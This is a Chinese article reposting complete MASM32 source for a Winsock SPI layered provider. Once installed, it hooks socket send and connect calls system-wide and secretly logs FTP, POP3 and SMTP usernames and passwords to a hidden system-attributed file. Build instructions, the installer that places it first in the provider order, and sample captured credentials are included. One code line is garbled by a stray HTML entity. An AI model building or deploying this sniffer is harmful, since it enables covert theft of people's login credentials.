使用masm32开发基于SPI的应用层SNIFFER

发布时间:2011年1月1日 作者:未知 查看次数:1576

使用masm32开发基于SPI的应用层SNIFFER


使用masm32开发基于SPI的应用层SNIFFER

 

作者:czy82
安装程序spi.asm
DLL:spidll.asm
DLL生成后放在C盘下改名为rood.dll
编绎参数:
ml /c /coff spidll.asm
link /DLL /DEF:spidll.def /SUBSYSTEM:windows spidll.obj
ml /c /coff spi.asm
link /subsystem:CONSOLE spi.obj

dll的def文件
EXPORTS   WSPStartup

在2KPRO下测试很稳定,效率要比C的高不少哟,俺可是一个指令一个指令的
优化过..


;             #--------------------------------------#       #
;           # use SPIDLL Sniffer ftp(21),SMTP(25)   #       #
;           #     --->,pop3(110) password on local   #     #
;         #                               #   #
;       #               2004.12.27             #
;         #             codz: czy             #   #
;         #------------------------------------------#     #

;
;smtp/pop3 sniffer test on Foxmail(5.0.800.0)Chinese Version
;                 OutLook Express(6.00.2800.1106)Chinese Version
;
;ftp sniffer test on     CuteFTP(6.0 build 11.03.2004.1)English Version
;                 FlashFXP(3.0.2 build 1045)Chinese
;                 LeapFTP(2.7.4.602)English Version
;                 Internet Explorer (6.0.2800.1106)Chinese Version
;the ftp server is www.west263.com(ftp://61.139.126.13)
;the mail server is www.elong.com/www.126.com(smtp.e ... 6.com/pop3.126.com)

;the logfile is c:\snifferpass.txt and format like this:
;220.181.31.176 -->this is a pop3 server's ip
;USER chenzy82
;PASS fuckyou
;220.181.31.171 -->this is a smtp server's ip
;Y2hlbnp5ODI= -->username
;MaExMaEx     -->password by base64 encode
;ftp:61.139.126.13 -->this is a ftpserver ip
;USER anonymous
;PASS guest@my.net
;ftp:61.139.126.13 -->this is a ftpserver ip
;USER czy82
;PASS 111111

;note:the smtp password is base64 encode
;   how to change pop3/smtp server's ip to host you can use

.386
.model flat,stdcall
option casemap:none
      include \masm32\include\windows.inc
      include \masm32\include\user32.inc
      include \masm32\include\kernel32.inc
  include \masm32\include\Ws2_32.inc
  include \masm32\include\masm32.inc
  
      includelib \masm32\lib\user32.lib
      includelib \masm32\lib\kernel32.lib
      includelib \masm32\lib\Ws2_32.lib
      includelib \masm32\lib\masm32.lib


WSAPROTOCOL_LEN     equ 255   
WSPDESCRIPTION_LEN   equ 255
MAX_PROTOCOL_CHAIN   equ 7
XP1_IFS_HANDLES       equ 20000h
LAYERED_PROTOCOL     equ 0
BASE_PROTOCOL     equ 1
WSABASEERR           equ 10000
WSAEPROVIDERFAILEDINIT equ WSABASEERR+106

WSPPROC_TABLE   STRUCT
lpWSPAccept     DD ?
lpWSPAddressToString   DD ?
lpWSPAsyncSelect   DD ?   
lpWSPBind     DD ?
lpWSPCancelBlockingCall   DD ?
lpWSPCleanup     DD ?
lpWSPCloseSocket   DD ?   
lpWSPConnect     DD ?
lpWSPDuplicateSocket   DD ?   
lpWSPEnumNetworkEvents   DD ?
lpWSPEventSelect   DD ?   
lpWSPGetOverlappedResult   DD ?
lpWSPGetPeerName   DD ?   
lpWSPGetSockName   DD ?
lpWSPGetSockOpt     DD ?
lpWSPGetQOSByName   DD ?
lpWSPIoctl     DD ?
lpWSPJoinLeaf     DD ?
lpWSPListen     DD ?
lpWSPRecv     DD ?
lpWSPRecvDisconnect   DD ?   
lpWSPRecvFrom     DD ?
lpWSPSelect     DD ?
lpWSPSend     DD ?
lpWSPSendDisconnect   DD ?   
lpWSPSendTo     DD ?
lpWSPSetSockOpt     DD ?
lpWSPShutdown     DD ?
lpWSPSocket     DD ?
lpWSPStringToAddress   DD ?

WSPPROC_TABLE   ENDS


WSAPROTOCOLCHAIN STRUCT
ChainLen   DD ?                       
ChainEntries   DD MAX_PROTOCOL_CHAIN dup(?)
WSAPROTOCOLCHAIN ENDS
  
      
WSAPROTOCOL_INFOW STRUCT
dwServiceFlags1 DD ?
dwServiceFlags2 DD ?
dwServiceFlags3 DD ?
dwServiceFlags4 DD ?
dwProviderFlags DD ?
ProviderId   GUID <?>
dwCatalogEntryId DD ?
ProtocolChain     WSAPROTOCOLCHAIN <?>
iVersion   DD ?
iAddressFamily DD ?
iMaxSockAddr   DD ?
iMinSockAddr   DD ?
iSocketType   DD ?
iProtocol   DD ?
iProtocolMaxOffset DD ?
iNetworkByteOrder   DD ?
iSecurityScheme     DD ?
dwMessageSize     DD ?
dwProviderReserved   DD ?
szProtocol   Dw WSAPROTOCOL_LEN+1 dup(?)
WSAPROTOCOL_INFOW ENDS

WSPData STRUCT
wVersion   WORD   ?
wHighVersion   WORD   ?
szDescription   DW WSPDESCRIPTION_LEN+1 dup(?)
WSPData   ENDS


WSABUF STRUCT
len   DWORD   ?
buf   DWORD   ?
WSABUF ENDS

WSPUPCALLTABLE   STRUCT

lpWPUCloseEvent     DWORD   ?
lpWPUCloseSocketHandle   DWORD   ?
lpWPUCreateEvent   DWORD   ?
lpWPUCreateSocketHandle   DWORD   ?
lpWPUFDIsSet     DWORD   ?
lpWPUGetProviderPath   DWORD   ?
lpWPUModifyIFSHandle   DWORD   ?
lpWPUPostMessage   DWORD   ?   
lpWPUQueryBlockingCallback   DWORD   ?
lpWPUQuerySocketHandleContext   DWORD   ?
lpWPUQueueApc         DWORD   ?
lpWPUResetEvent     DWORD   ?
lpWPUSetEvent     DWORD   ?
lpWPUOpenCurrentThread   DWORD   ?
lpWPUCloseThread   DWORD   ?

WSPUPCALLTABLE   ENDS

.data
hInstance dd 0
errorcode   dd ?
protoinfo   dd ?
totalprotos   dd ?
protoinfosize   dd ?
spiguid     db 253,145,30,77,106,17,170,68,143,212,29,44,242,123,217,169,0
dllpath     db 256 dup(?)
dllpath2   db 256 dup(?)
startupname   db 'WSPStartup',0
nextproctable   WSPPROC_TABLE <?>
usertag     db 'USER',0
passtag     db 'PASS',0
logpop     db 'c:\snifferpass.txt',0
poptag     dd ? ;记录标识   
smtptag     dd ?
ftptag     dd ?
crlf     db 0dh,0ah,0
ftphead     db 'ftp:',0

.code
DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
   
  .if reason==DLL_PROCESS_ATTACH ;dll加载时
          push hInstDLL
        pop hInstance
        
  .endif
    mov eax,TRUE     
    ret
DllEntry Endp

_CmpGUID   proc   whichguid:DWORD ,whichid:DWORD
    mov   ebx,whichid
    .if   whichguid==1
        mov   edx,offset spiguid
    .endif
    mov   eax,[ebx]
    mov   ecx,[edx]
    .if   eax==ecx
        add   ebx,4
        add   edx,4
        mov   eax,[ebx]
        mov   ecx,[edx]         
        .if   eax==ecx
          add   ebx,4
          add   edx,4
          mov   eax,[ebx]
          mov   ecx,[edx]
          .if   eax==ecx
            add   ebx,4
            add   edx,4
            mov   eax,[ebx]
            mov   ecx,[edx]
            .if   eax==ecx ;找到GUID相同的
                mov   eax,esi
                ret
               
            .else
            jmp   @@nextguid
            .endif
          .else
          jmp   @@nextguid
          .endif
        .else
        jmp   @@nextguid
        .endif
    .else
    jmp   @@nextguid
    .endif
  @@nextguid:   

  mov   eax,0
  ret
_CmpGUID   endp

_GetFilter   proc
  mov   protoinfo,NULL
    mov   totalprotos,0
    mov   protoinfosize,0


  invoke   WSCEnumProtocols,NULL,protoinfo,offset protoinfosize,offset errorcode
  .if   eax==SOCKET_ERROR
    .if errorcode!=WSAENOBUFS
        ret
    .endif
  .endif
  
  invoke   GlobalAlloc,GPTR,protoinfosize
    .if   eax==NULL
          ret
      .else
          mov   protoinfo,eax   
      .endif
   
    invoke   WSCEnumProtocols,NULL,protoinfo,offset protoinfosize,offset errorcode
    .if   eax==SOCKET_ERROR
    ret
  .else
    mov   totalprotos,eax   
    .endif
  
  ret
_GetFilter   endp

WSPSend     proc   s:DWORD,lpbuffer:DWORD,dwbuffercount:DWORD,lpnumberofbytessent:DWORD,dwflags:DWORD,lpoverlapped:DWORD,lpcompletionroutine:DWORD,lpthreadid:DWORD,lperrno:DWORD                              
    local   hpop:dword
    local   tag[5]:byte
   
    mov   esi,lpbuffer
    assume   esi:ptr WSABUF
    .if   poptag==1 || ftptag==1
        mov   edx,dword ptr [esi].buf
        mov   ecx,dword ptr [edx]
        .if   ecx=='RESU' || ecx=='SSAP' ;要反写
          jmp   @@logpop
        .else
          jmp   @@callsyssend   
        .endif
        
    .elseif smtptag==1
        mov   ecx,[esi].buf
        add   ecx,4   ;比较第五个字节是否是空格或0Dh
        mov   dl,byte ptr [ecx]
        .IF   dl==20H || dl==0dh || [esi].len>50d
          JMP   @@callsyssend
        .ELSE
          JMP   @@logpop         
        .ENDIF
   
    .else
    jmp   @@callsyssend
    .endif
   
@@logpop:     
    ;------------写记录文件
          invoke   CreateFile,offset logpop,GENERIC_WRITE,FILE_SHARE_READ,\
                        NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
            mov   hpop,eax
          invoke   SetFilePointer,hpop,0,NULL,FILE_END
          invoke   SetEndOfFile,hpop             ;文件指针放到文件尾                           
          invoke   _lwrite,hpop,[esi].buf,[esi].len
          invoke   CloseHandle,hpop
          ;------------
    assume   esi:nothing
  
@@callsyssend:
;执行系统的WSPSend
    mov   esi,offset nextproctable
    assume   esi:ptr WSPPROC_TABLE
    mov   eax,[esi].lpWSPSend
    assume   esi:nothing
    push   lperrno
    push   lpthreadid
    push   lpcompletionroutine
    push   lpoverlapped
    push   dwflags
    push   lpnumberofbytessent
    push   dwbuffercount
    push   lpbuffer
    push   s
    call   eax
   

    ret     

WSPSend     endp

;----------------------------------挂接API的CONNECT函数得到连接的邮件服务器的IP
WSPConnect   proc   s:DWORD,name1:DWORD,namelen:DWORD,lpCallerData:DWORD,lpCalleeData:DWORD,lpSQOS:DWORD,lpGQOS:DWORD,lpErrno:DWORD
    LOCAL   hfile:DWORD
    LOCAL   ipaddress[25]:BYTE
    LOCAL   bufferlen:DWORD

    mov   edi,name1
    assume   edi:PTR sockaddr_in
   
    ;invoke   htons,110
    .if   word ptr [edi].sin_port==6e00h ;110
        mov   poptag,1
        mov   smtptag,0
        mov   ftptag,0
          .elseif word ptr [edi].sin_port==1900H ;25
            mov   smtptag,1
            mov   poptag,0
            mov   ftptag,0
          .elseif word ptr [edi].sin_port==1500H   ;21   
            mov   ftptag,1
            mov   smtptag,0
            mov   poptag,0
            invoke   lstrcpy,addr ipaddress,offset ftphead
    .else
        mov   poptag,0   
        mov   smtptag,0
        mov   ftptag,0
        jmp   @@callsysconnect   
    .endif
        
        push   [edi].sin_addr ; 把网络名转化为ASCII格式的IP地址
        call   inet_ntoa
        invoke   lstrcat,addr ipaddress,eax
        invoke   lstrcat,addr ipaddress,offset crlf
        ;------------写记录文件
            invoke   CreateFile,offset logpop,GENERIC_WRITE,FILE_SHARE_READ,\
                        NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
              mov   hfile,eax
            invoke   SetFilePointer,hfile,0,NULL,FILE_END
            invoke   SetEndOfFile,hfile     
                invoke   lstrlen,addr ipaddress                  
            invoke   _lwrite,hfile,addr ipaddress,eax
            invoke   CloseHandle,hfile
          ;------------
    assume   edi:nothing
@@callsysconnect:
;调用系统自已的Connect     
    mov   esi,offset nextproctable
    assume   esi:ptr WSPPROC_TABLE
    mov   eax,[esi].lpWSPConnect
    assume   esi:nothing
    push   lpErrno
    push   lpGQOS
    push   lpSQOS
    push   lpCalleeData
    push   lpCallerData
    push   namelen
    push   name1
    push   s
    call   eax
    ret
   
WSPConnect   ENDP

WSPStartup   proc   wversionrequested:WORD,lpwspdata:DWORD,lpprotoinfo:DWORD,upcalltable:WSPUPCALLTABLE,lpproctable:DWORD
        LOCAL i:dword
        local filterpathlen:dword
        local layerid:dword
        local nextlayerid:dword
        local filterpath:dword
        local hfilter:dword
        local wspstartupfunc:dword

    PUSH   EBX
;测试自已的协议链是不是大于1
    mov   esi,lpprotoinfo
    assume   esi:ptr WSAPROTOCOL_INFOW
    .if   [esi].ProtocolChain.ChainLen<=1
        mov   eax,FALSE
        RET
    .endif
    assume   esi:nothing

    invoke   _GetFilter
   
;得到自已的提供者的ENTRYID给变量layerid
    xor   edi,edi
    mov   esi,protoinfo
    assume   esi:ptr WSAPROTOCOL_INFOW
    .while edi<totalprotos
        lea   ebx,[esi].ProviderId
        invoke   _CmpGUID,1,ebx
        .if   eax!=0
          lea   ebx,layerid
          mov   ecx,[esi].dwCatalogEntryId
          mov   [ebx],ecx
          .break
        .endif
    add   esi,sizeof WSAPROTOCOL_INFOW
    inc   edi
    .endw
    assume   esi:nothing

;得到自身协议链的的下一个ENTRYID,也就是系统DLL的ENTRYID给变量nextlayerid     
    xor   edi,edi
    mov   esi,lpprotoinfo
    assume   esi:ptr WSAPROTOCOL_INFOW
    .while edi<[esi].ProtocolChain.ChainLen ;一般长度为2
        mov   ebx,edi
        imul   ebx,4
        mov   eax,[esi].ProtocolChain.ChainEntries[ebx]
        .if eax==layerid

          add   ebx,4
          mov   ecx,[esi].ProtocolChain.ChainEntries[ebx]
          lea   edx,nextlayerid
          mov   [edx],ecx
        .break
        .endif
    inc   edi
    .endw
    assume   esi:nothing
   
;通过系统DLL的ENTRYID得到DLL的路径         
    xor   edi,edi
    mov   esi,protoinfo
    assume   esi:ptr WSAPROTOCOL_INFOW
    .while edi<totalprotos
        mov   eax,[esi].dwCatalogEntryId
        .if eax==nextlayerid
          mov   filterpath,offset dllpath
          mov   filterpathlen,255 ;四个参数全部是指针
          invoke   WSCGetProviderPath,addr [esi].ProviderId,filterpath,addr filterpathlen,offset errorcode
          .if eax==SOCKET_ERROR
            mov   eax,WSAEPROVIDERFAILEDINIT
            ret
          .else
            
            .break
          .endif
        .endif
    add   esi,sizeof WSAPROTOCOL_INFOW
    inc   edi
    .endw
    assume   esi:nothing

;得到DLL的绝对路径
    invoke   ExpandEnvironmentStringsW,offset dllpath,offset dllpath2,MAX_PATH
    .if   eax==0
        mov   eax,WSAEPROVIDERFAILEDINIT
        ret
    .endif

;加载系统的DLL一般是MSAFD.DLL     
    invoke   LoadLibraryW,offset dllpath2
    .if   eax==NULL
        mov   eax,WSAEPROVIDERFAILEDINIT
        ret
    .else
        mov   hfilter,eax
    .endif
   
;得到系统DLL的wspstartup初始化函数地址
    invoke   GetProcAddress,hfilter,offset startupname
    .if   eax==NULL
        mov   eax,WSAEPROVIDERFAILEDINIT
        ret
    .else
        mov   wspstartupfunc,eax
    .endif

;调用系统DLL的初始化函数以得到30个WSP函数的入口地址,这些地址值的地址由lpproctable指针指向     
    ;if((errorcode=wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable))!=ERROR_SUCCESS)

    push   lpproctable
    ;     push   upcalltable
    mov   ecx,0fh   ;结构有15个成员每个成员4字节
    sub   esp,3ch   ;ESP空出60个字节
    lea   esi,upcalltable
    mov   edi,esp
    rep   movsd
    ;对于一个函数的参数不是DWORD应该这样传参数

    push   lpprotoinfo
    push   lpwspdata
    mov   cx,word ptr wversionrequested
    push   ecx   ;注意第一个参数是2字节
    call   wspstartupfunc
    .if   eax!=ERROR_SUCCESS

        ret   
   
    .endif

;复质系统DLL初始化的地址到nextproctable结构中     
    mov   esi,lpproctable
    mov   ecx,1eh   ;30d         
    lea   edi,nextproctable
    rep   movsd ;不能是repz movsd
   
;挂接wspsend     
        ;   lpproctable->lpWSPSend=WSPSend
    mov   edx,lpproctable
        add   edx,5ch
        mov   [edx],WSPSend
;挂接WSPConnect
    mov   edx,lpproctable
    add   edx,1ch
    mov   [edx],WSPConnect         

;释放资源返回,以后当应用程序调用SOCKET API比如SEND的时候,WS2_32.DLL会加载我们的ROOD.DLL并调用我们的WSPSEND函数         
        invoke   GlobalFree,protoinfo
    xor   eax,eax
    pop   ebx
    ret

WSPStartup   endp


End DllEntry


;-----------------------------------spi.asm------------------
.386
    .model flat, stdcall
    option casemap :none   ; case sensitive
; #########################################################################

      include \masm32\include\windows.inc
      include \masm32\include\user32.inc
      include \masm32\include\kernel32.inc
  include \masm32\include\Ws2_32.inc
  include \masm32\include\masm32.inc
  
      includelib \masm32\lib\user32.lib
      includelib \masm32\lib\kernel32.lib
      includelib \masm32\lib\Ws2_32.lib
      includelib \masm32\lib\masm32.lib
      
WSAPROTOCOL_LEN     equ 255   
MAX_PROTOCOL_CHAIN   equ 7
XP1_IFS_HANDLES       equ 20000h
LAYERED_PROTOCOL     equ 0

WSAPROTOCOLCHAIN STRUCT
ChainLen   DD ?                       
ChainEntries   DD MAX_PROTOCOL_CHAIN dup(?)
WSAPROTOCOLCHAIN ENDS
  
      
WSAPROTOCOL_INFOW STRUCT
dwServiceFlags1 DD ?
dwServiceFlags2 DD ?
dwServiceFlags3 DD ?
dwServiceFlags4 DD ?
dwProviderFlags DD ?
ProviderId   GUID <?>
dwCatalogEntryId DD ?
ProtocolChain     WSAPROTOCOLCHAIN <?>
iVersion   DD ?
iAddressFamily DD ?
iMaxSockAddr   DD ?
iMinSockAddr   DD ?
iSocketType   DD ?
iProtocol   DD ?
iProtocolMaxOffset DD ?
iNetworkByteOrder   DD ?
iSecurityScheme     DD ?
dwMessageSize     DD ?
dwProviderReserved   DD ?
szProtocol   Dw WSAPROTOCOL_LEN+1 dup(?)
WSAPROTOCOL_INFOW ENDS



      
      
.data

socketerror   db 'sockterror',0
socketerror2   db 'Second WSCEnumProtocols Error',0
error3     db 'error install spi dll',0
error4     db 'error install udpfilter',0
error5     db 'error order',0
installok   db 'order ok',0
nomem     db 'nomem',0
findspi     db 'findspi',0
nofindspi   db 'cant findspi',0
errorcode   dd ?
protoinfo   dd ?
totalprotos   dd ?
protoinfosize   dd ?
szspibufferformat   db '已经安装的SPI有:%d 个',0dh,0ah,0
szspibuffer   db 300 dup(?)
ipinfo     WSAPROTOCOL_INFOW <?>
udpinfo   WSAPROTOCOL_INFOW <?>
chainarray   WSAPROTOCOL_INFOW <?>
spiname     db 300 dup (?)
crlf     db 0dh,0ah,0
rawip     dd ?
udpip     dd ?
rood     dw 'R','0','0','D',0 ;要定义成unicode格式
udprood     dw 'R','0','0','D','U','D','P',0
spipath     dw 'c',':','\','r','o','o','d','.','d','l','l',0
spiguid     db 253,145,30,77,106,17,170,68,143,212,29,44,242,123,217,169,0
filterchainguid   db 33,17,194,211,225,133,243,72,154,182,35,217,12,115,7,239,0
; filterchainguid={0xd3c21121,0x85e1,0x48f3,{0x9a,0xb6,0x23,0xd9,0x0c,0x73,0x07,0xef}};
ipid     dd ?
udpid     dd ?
provcnt     dd ?
cataentries   dd ? ;指向所有的ENTRIES
cataindex   dd ?

.code
_CmpGUID   proc   whichguid:DWORD ,whichid:DWORD
    mov   ebx,whichid
    .if   whichguid==1
        mov   edx,offset spiguid
    .elseif   whichguid==0
        mov   edx,offset filterchainguid
    .endif
    mov   eax,[ebx]
    mov   ecx,[edx]
    .if   eax==ecx
        add   ebx,4
        add   edx,4
        mov   eax,[ebx]
        mov   ecx,[edx]         
        .if   eax==ecx
          add   ebx,4
          add   edx,4
          mov   eax,[ebx]
          mov   ecx,[edx]
          .if   eax==ecx
            add   ebx,4
            add   edx,4
            mov   eax,[ebx]
            mov   ecx,[edx]
            .if   eax==ecx ;找到GUID相同的
                mov   eax,esi
                ret
               
            .else
            jmp   @@nextguid
            .endif
          .else
          jmp   @@nextguid
          .endif
        .else
        jmp   @@nextguid
        .endif
    .else
    jmp   @@nextguid
    .endif
  @@nextguid:   

  mov   eax,0
  ret
_CmpGUID   endp

_GetFilter   proc
  mov   protoinfo,NULL
    mov   totalprotos,0
    mov   protoinfosize,0


  invoke   WSCEnumProtocols,NULL,protoinfo,offset protoinfosize,offset errorcode
  .if   eax==SOCKET_ERROR
    .if errorcode!=WSAENOBUFS
        invoke   StdOut,offset socketerror
    .endif
  .endif
  
  invoke   GlobalAlloc,GPTR,protoinfosize
    .if   eax==NULL
          invoke   StdOut,offset nomem
      .else
          mov   protoinfo,eax   
      .endif
   
    invoke   WSCEnumProtocols,NULL,protoinfo,offset protoinfosize,offset errorcode
    .if   eax==SOCKET_ERROR
    invoke   StdOut,offset socketerror2
  .else
    mov   totalprotos,eax   
    .endif

  invoke   wsprintf,offset szspibuffer,offset szspibufferformat,totalprotos
  invoke   StdOut,offset szspibuffer
  
  mov   esi,protoinfo
  assume   esi:ptr WSAPROTOCOL_INFOW
  
  xor   edi,edi
  .while edi<totalprotos     
    lea   ebx,[esi].szProtocol

    invoke   WideCharToMultiByte,0,512d,ebx,-1,offset spiname,100h,0,0     
    invoke   lstrcat,offset spiname,offset crlf
    invoke   StdOut,offset spiname
  add   esi,sizeof WSAPROTOCOL_INFOW
  inc   edi
  .endw
  assume   esi:nothing   
  
  ret
_GetFilter   endp

_InstallFilter   proc
  

  invoke   _GetFilter ;得到服务提供者个数
  
;找到第一个符合要求的结构   
  mov   esi,protoinfo
  assume   esi:ptr WSAPROTOCOL_INFOW
  xor edi,edi
  .while edi<totalprotos
    .if rawip==FALSE && [esi].iAddressFamily==AF_INET && [esi].iProtocol==IPPROTO_IP
        MOV   rawip,TRUE


        
        lea   ebx,[esi].szProtocol
        invoke   WideCharToMultiByte,0,512d,ebx,-1,offset spiname,100h,0,0     
        invoke   lstrcat,offset spiname,offset crlf
        invoke   StdOut,offset spiname

        invoke   RtlMoveMemory,offset ipinfo,esi,sizeof WSAPROTOCOL_INFOW
        
        mov   ebx,[esi].dwServiceFlags1
        mov   edx,XP1_IFS_HANDLES
        not   edx
        and   ebx,edx
        mov   ecx,offset ipinfo
        assume   ecx:ptr WSAPROTOCOL_INFOW
        mov   [ecx].ProtocolChain.ChainLen,LAYERED_PROTOCOL ;设置自已的低层服务提供者
        
        mov   [ecx].dwServiceFlags1,ebx
        
        lea   ebx,[ecx].szProtocol
        invoke   RtlMoveMemory,ebx,offset rood,12 ;设置SPI名字
        
        assume   ecx:nothing
    .endif
   
    ;设置tcp协议链的WSAPROTOCOL_INFOW结构
    .if udpip==FALSE && [esi].iAddressFamily==AF_INET && [esi].iProtocol==IPPROTO_TCP
        MOV   udpip,TRUE


        
        lea   ebx,[esi].szProtocol
        invoke   WideCharToMultiByte,0,512d,ebx,-1,offset spiname,100h,0,0     
        invoke   lstrcat,offset spiname,offset crlf
        invoke   StdOut,offset spiname
        nop
        invoke   RtlMoveMemory,offset udpinfo,esi,sizeof WSAPROTOCOL_INFOW
        
        
        mov   ebx,[esi].dwServiceFlags1
        mov   edx,XP1_IFS_HANDLES
        not   edx
        and   ebx,edx
        mov   ecx,offset udpinfo
        assume   ecx:ptr WSAPROTOCOL_INFOW
        mov   [ecx].dwServiceFlags1,ebx
        
        lea   ebx,udpid
        mov   edx,[ecx].dwCatalogEntryId ;保存系统存在的TCP提供者的ID
        mov   [ebx],edx
        
        assume   ecx:nothing
    .endif
  add   esi,sizeof WSAPROTOCOL_INFOW   
  inc   edi     
  .endw
  assume   esi:nothing
  
;安装DLL   
;GUID filterguid={0x4d1e91fd,0x116a,0x44aa,{0x8f,0xd4,0x1d,0x2c,0xf2,0x7b,0xd9,0xa9}};
  ;mov   esi,offset spiguid
  ;assume   esi:ptr GUID
;     mov   [esi].Data1,1sdfsadfh
;     mov   [esi].Data2,116ah
;     mov   [esi].Data3,44aah
;     mov   [esi].Data4,8fd41d2cf27bd9a9h
;   assume   esi:nothing
  invoke   WSCInstallProvider,offset spiguid,offset spipath,offset ipinfo,1,offset errorcode
  .if eax==SOCKET_ERROR
      invoke   StdOut,offset error3
  .endif

  invoke   GlobalFree,protoinfo
  
  invoke   _GetFilter   ;安装服务提供者后重新列举
  nop
  
  xor   edi,edi
  mov   esi,protoinfo
  assume   esi:ptr WSAPROTOCOL_INFOW
  .while   edi<totalprotos
  
    lea   ebx,[esi].ProviderId
    invoke   _CmpGUID,1,ebx
    .if   eax!=0
        invoke   MessageBoxA,0,offset findspi,offset findspi,1
  
        lea   ebx,ipid
        mov   ecx,[esi].dwCatalogEntryId
        mov   [ebx],ecx
        assume   esi:nothing
        jmp   @@exitlist
    ;.else
    ;   invoke   MessageBoxA,0,offset nofindspi,offset nofindspi,1
    .endif
  
  add   esi,sizeof WSAPROTOCOL_INFOW
  inc   edi
  .endw
assume   esi:nothing
@@exitlist:
;---重新设置链
  nop
  .if   udpip==TRUE
  mov   esi,offset udpinfo
  assume   esi:ptr WSAPROTOCOL_INFOW
    lea   ebx,[esi].szProtocol
    invoke   RtlMoveMemory,ebx,offset udprood,18 ;设置updSPI名字
    .if [esi].ProtocolChain.ChainLen==1 ;BASE_PROTOCOL
        lea   ebx,[esi].ProtocolChain.ChainEntries[4] ;udpchaininfo.ProtocolChain.ChainEntries[1]=udporigcataid
        lea   eax,udpid
        mov   ecx,[eax]
        mov   [ebx],ecx
        
    .else
        xor edi,edi
        .while edi<[esi].ProtocolChain.ChainLen
        mov   edx,edi
        imul   edx,4
        lea   eax,[esi].ProtocolChain.ChainEntries[edx]
        mov   ebx,edx
        add   ebx,4
        mov   ebx,[eax]
        
        inc   edi
        .endw
    .endif
  
  inc   [esi].ProtocolChain.ChainLen ;inc dword ptr [esi+??]
   

  lea   ebx,ipid
  mov   eax,[ebx]
  mov   [esi].ProtocolChain.ChainEntries,eax ;自已的分层提供者一定要在第一个
  invoke   RtlMoveMemory,offset chainarray,offset udpinfo,sizeof WSAPROTOCOL_INFOW
  assume   esi:nothing
  .endif

  ;mov   esi,offset filterchainguid
  ;assume   esi:ptr GUID
  ;   mov   [esi].Data1,1h
  ;   mov   [esi].Data2,1abbh
  ;   mov   [esi].Data3,2abbh
  ;   mov   [esi].Data4,01h
  ;assume   esi:nothing
  invoke   WSCInstallProvider,offset filterchainguid,offset spipath,offset chainarray,1,offset errorcode
  .if EAX==SOCKET_ERROR
    invoke   StdOut,offset error4
  .endif

  invoke   GlobalFree,protoinfo

;---重新排列服务提供者
  nop
  invoke   _GetFilter
  mov   ebx,totalprotos
  imul   ebx,4
  invoke   GlobalAlloc,GPTR,ebx
  .if   eax==NULL
    invoke   StdOut,offset nomem
    ret
  .else
    mov   cataentries,eax
  .endif
  
  
;---把自已的两个服务提供者放在最顶端   
  nop
  xor   edi,edi
  mov   esi,protoinfo
  assume   esi:ptr WSAPROTOCOL_INFOW
  .while   edi<totalprotos
  
    lea   ebx,[esi].ProviderId
    invoke   _CmpGUID,1,ebx
    .if   eax!=0   
        mov   ebx,cataentries
        mov   eax,cataindex
        imul   eax,4
        add   ebx,eax     
        inc   cataindex
        mov   ecx,[esi].dwCatalogEntryId
        mov   [ebx],ecx
    .endif
    lea   ebx,[esi].ProviderId
    invoke   _CmpGUID,0,ebx
    .if   eax!=0   
        mov   ebx,cataentries
        mov   eax,cataindex
        imul   eax,4
        add   ebx,eax     
        inc   cataindex
        mov   ecx,[esi].dwCatalogEntryId
        mov   [ebx],ecx
    .endif
   
  
  add   esi,sizeof WSAPROTOCOL_INFOW
  inc   edi
  .endw
;--------把其它的服务提供者排在后面
  
  xor   edi,edi
  mov   esi,protoinfo
  assume   esi:ptr WSAPROTOCOL_INFOW
  .while   edi<totalprotos
  
    lea   ebx,[esi].ProviderId
    invoke   _CmpGUID,1,ebx
    .if   eax==0   
        lea   ebx,[esi].ProviderId
        invoke   _CmpGUID,0,ebx
        .if   eax==0   
        nop
          mov   ebx,cataentries
          mov   eax,cataindex
          imul&nbs, p;  eax,4
          add   ebx,eax     
          inc   cataindex
          mov   ecx,[esi].dwCatalogEntryId
          mov   [ebx],ecx
        .endif
    .endif
   
   
  
  add   esi,sizeof WSAPROTOCOL_INFOW
  inc   edi
  .endw
  
  invoke   WSCWriteProviderOrder,cataentries,totalprotos
  .if   eax!=ERROR_SUCCESS
    invoke   StdOut,offset error5
  .else
    invoke   StdOut,offset installok
  .endif
  
  
  
  invoke   GlobalFree,protoinfo
  
  ret
_InstallFilter   endp

start:
  
  invoke   _InstallFilter
  ;invoke   _GetFilter
  invoke   ExitProcess,0
end start

安装用的是标准的安装方式,只是GUID是自已定义的,没用GETUID什么的那几个API

 



版权所有!www.sieye.cn
E.Mail:sieye@sohu.com QQ:66697110